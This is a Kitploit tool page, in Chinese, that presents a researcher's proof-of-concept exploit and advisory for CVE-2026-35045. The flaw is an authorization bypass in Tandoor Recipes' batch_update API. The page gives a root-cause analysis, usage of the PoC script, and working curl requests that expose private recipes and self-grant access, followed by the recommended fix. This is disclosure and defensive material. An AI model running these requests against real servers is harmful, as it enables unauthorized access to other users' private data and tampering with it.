Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-35045-PoC — CVE-2026-35045 的概念验证漏洞利用程序,这是 Tandoor Recipes 中的一个对象级授权失效漏洞,演示了通过 batch_update API 端点进行未授权食谱修改。 | Kitploit
工具/GitHubGitHub/filipegaudard/cve-2026-35045-poc
漏洞分析漏洞利用Web应用程序漏洞利用API安全测试渗透测试学习与教育
GitHubfilipegaudard/cve-2026-35045-poc

CVE-2026-35045-PoC

CVE-2026-35045 的概念验证漏洞利用程序,这是 Tandoor Recipes 中的一个对象级授权失效漏洞,演示了通过 batch_update API 端点进行未授权食谱修改。

查看仓库
1165个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-35045 — Tandoor Recipes 中的对象级授权失效漏洞

CVE-2026-35045 GHSA CVSS 8.1 CWE-639

Affected Version Responsible Disclosure


摘要

Tandoor Recipes v2.6.1 中的 PUT /api/recipe/batch_update/ 端点允许 Space 内的任何已认证用户 修改该 Space 中的任意食谱——包括其他用户拥有的私有食谱。这完全绕过了所有标准单食谱端点上强制执行的对象级授权检查。

根本原因是 Django REST Framework 的一个行为缺陷:detail=False 列表操作永远不会调用 has_object_permission(),只会调用 has_permission()。查询集仅通过 space=request.space 进行过滤,没有检查 created_by、private 或 shared 列表。攻击者可以强制暴露私有食谱、自行授予持久访问权限、撤销其他用户的权限,并篡改元数据——所有这些都只需一次看似无需认证的 API 调用,且返回 HTTP 200 OK 和空响应体。

漏洞详情

MITRE ATT&CK 映射

技术 ID名称相关性
T1078有效账户攻击者使用合法的低权限凭据绕过授权
T1565.001存储数据篡改修改其他用户拥有的私有食谱和 ACL

根本原因分析

1. detail=False 绕过对象级权限检查

文件: cookbook/views/api.py

root@kitploit:~
@decorators.action(detail=False, methods=['PUT'], serializer_class=RecipeBatchUpdateSerializer)
def batch_update(self, request):
    serializer = self.serializer_class(data=request.data, partial=True)
    if serializer.is_valid():
        recipes = Recipe.objects.filter(
            id__in=serializer.validated_data['recipes'],
            space=self.request.space   # ← 没有 created_by 或 private 检查
        )

在 Django REST Framework 中,使用 detail=False 注册的操作属于列表操作。它们 永远不会调用 get_object(),这意味着 check_object_permissions() 和 CustomRecipePermission.has_object_permission() 永远不会被调用。只有 has_permission() 会执行——它只验证 Space 成员身份,而不验证食谱所有权。

2. 标准端点受到正确保护

PUT /api/recipe/{id}/ 遵循完整的 DRF 权限流程:

root@kitploit:~
get_object()
  → check_object_permissions()
    → CustomRecipePermission.has_object_permission()
      → 如果食谱是私有的且不属于请求者/未与请求者共享,则拒绝访问

batch_update 端点静默跳过了整个链路。

3. 通过批量操作可写的字段

RecipeBatchUpdateSerializer 暴露了以下字段——可对 Space 中的 任意 食谱进行写入:


攻击流程

root@kitploit:~
┌──────────┐   ① PUT /api/recipe/batch_update/    ┌─────────────────┐
│ 攻击者   │ ─────────────────────────────────────→│  Tandoor 服务器 │
│ (用户 B) │   {"recipes":[2],"private":false,     │                 │
│          │    "shared_add":[2]}                  │  has_permission()│
└──────────┘                                       │  ✓ (Space 成员)  │
                                                   │                 │
                                                   │  has_object_    │
                                                   │  permission()   │
                                                   │  ✗ 从未被调用    │
                                                   └────────┬────────┘
                                                            │
                                              ② Recipe.objects.filter(
                                                 id__in=[2],
                                                 space=request.space
                                              )  ← 没有所有权检查
                                                            │
                                                            ▼
                                                   ┌────────────────┐
                                                   │  食谱 ID 2     │
                                                   │  (用户 A 拥有)  │
                                                   │  private=false ← 被修改
                                                   │  shared=[2]  ← 自行授予
                                                   └────────┬───────┘
                                                            │
                                              ③ HTTP 200 OK — {}
                                                            │
                                                            ▼
                                                   ┌────────────────┐
                                                   │ 攻击者 (B)     │
                                                   │ 现在拥有对     │
                                                   │ 食谱 ID 2 的   │
                                                   │ 完全访问权限   │
                                                   └────────────────┘

概念验证

环境要求

  • Python 3.10+
  • requests 库
root@kitploit:~
pip install requests

使用方法

root@kitploit:~
# 强制暴露私有食谱并自行授予访问权限(默认)
python3 poc.py --url http://127.0.0.1:8085 \
               --username userB --password passB \
               --recipe-id 2 \
               --attacker-user-id 2

# 仅强制暴露(设置 private=false)
python3 poc.py --url http://127.0.0.1:8085 \
               --username userB --password passB \
               --recipe-id 2 \
               --attacker-user-id 2 \
               --action expose

# 仅自行授予(添加到共享列表,保持 private=true)
python3 poc.py --url http://127.0.0.1:8085 \
               --username userB --password passB \
               --recipe-id 2 \
               --attacker-user-id 2 \
               --action self_grant

模块 / 操作

操作描述
expose在目标食谱上设置 private: false — 强制对所有 Space 成员可见
self_grant将攻击者的用户 ID 添加到 shared_add — 即使食谱保持私有也能授予持久访问权限

手动验证 (curl)

1. 前置条件 — 食谱无法通过标准端点访问

root@kitploit:~
curl -s -o /dev/null -w "%{http_code}" \
  http://TARGET:8085/api/recipe/2/ \
  -H "Cookie: sessionid=SESSION_B; csrftoken=CSRF_B"
# 预期:404(私有,非本人所有)

2. 利用 — 无授权的 batch_update

root@kitploit:~
curl -X PUT 'http://TARGET:8085/api/recipe/batch_update/' \
  -H 'Content-Type: application/json' \
  -H 'X-CSRFToken: CSRF_B' \
  -H 'Cookie: csrftoken=CSRF_B; sessionid=SESSION_B' \
  -d '{"recipes": [2], "shared_add": [2], "private": false}'
# 预期:HTTP 200 OK — {}

3. 后置条件 — 食谱现在可以访问

root@kitploit:~
curl -s http://TARGET:8085/api/recipe/2/ \
  -H "Cookie: sessionid=SESSION_B; csrftoken=CSRF_B"
# 预期:HTTP 200 并返回食谱数据,private=false

4. 通过食谱列表验证

root@kitploit:~
curl -s 'http://TARGET:8085/api/recipe/' \
  -H 'Cookie: csrftoken=CSRF_B; sessionid=SESSION_B' \
  | python3 -c "import sys,json; [print(r['id'],r['name'],r['private']) for r in json.load(sys.stdin)['results']]"
# 预期:2  <recipe_name>  False

影响


修复建议

立即修复

通过 created_by=request.user 过滤查询集,将批量操作限制为本人拥有的食谱:

root@kitploit:~
@decorators.action(detail=False, methods=['PUT'], serializer_class=RecipeBatchUpdateSerializer)
def batch_update(self, request):
    serializer = self.serializer_class(data=request.data, partial=True)
    if serializer.is_valid():
        recipes = Recipe.objects.filter(
            id__in=serializer.validated_data['recipes'],
            space=self.request.space,
            created_by=self.request.user,  # ← 修复:限制为本人拥有的食谱
        )

纵深防御

如果 Space 管理员需要批量更新任何食谱的能力,请添加基于角色的条件判断:

root@kitploit:~
if is_space_owner(request.user, request.space):
    recipes = Recipe.objects.filter(
        id__in=serializer.validated_data['recipes'],
        space=self.request.space,
    )
else:
    recipes = Recipe.objects.filter(
        id__in=serializer.validated_data['recipes'],
        space=self.request.space,
        created_by=self.request.user,
    )

DRF 通用指南

任何对单个对象进行操作的 detail=False 操作 必须手动强制执行对象级授权。DRF 的 has_object_permission() 永远不会为列表操作调用——这一责任完全落在开发者身上。


参考资料

  • GHSA-v8x3-w674-55p5
  • CVE-2026-35045
  • CWE-639:通过用户可控密钥绕过授权
  • DRF — 自定义操作与权限检查
  • OWASP API 安全 Top 10 — API1:2023 对象级授权失效
  • MITRE ATT&CK T1078 — 有效账户
  • MITRE ATT&CK T1565.001 — 存储数据篡改

免责声明

本概念验证仅用于 授权的安全测试和教育目的。未经授权访问计算机系统属于违法行为。作者对工具的滥用不承担任何责任。


作者

Filipe Gaudard — 进攻性安全研究员 | eWPT | eWPTx

  • GitHub:@FilipeGaudard
  • LinkedIn:Filipe Gaudard
下载工具
字段值
CVE IDCVE-2026-35045
GHSAGHSA-v8x3-w674-55p5
CWECWE-639 — 通过用户可控密钥绕过授权
CVSS v3.18.1 高危 — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
受影响版本Tandoor Recipes ≤ 2.6.1
供应商TandoorRecipes/recipes
字段影响
private切换食谱可见性
shared_add / shared_remove / shared_set操纵访问控制列表
keywords_add / keywords_remove / keywords_set修改食谱元数据
working_time / waiting_time修改食谱时间数据
both
在单个请求中同时执行两个操作(默认)
影响领域描述严重程度
强制食谱暴露设置 private: false 使任何食谱对所有 Space 成员可见高
未授权自行授予通过 shared_add 添加自己的用户 ID,授予对任何食谱的持久读写访问权限高
访问权限撤销使用 shared_remove 或 shared_set 从食谱的共享列表中移除合法用户高
元数据篡改修改其他用户拥有的食谱上的 working_time、waiting_time 和 keywords中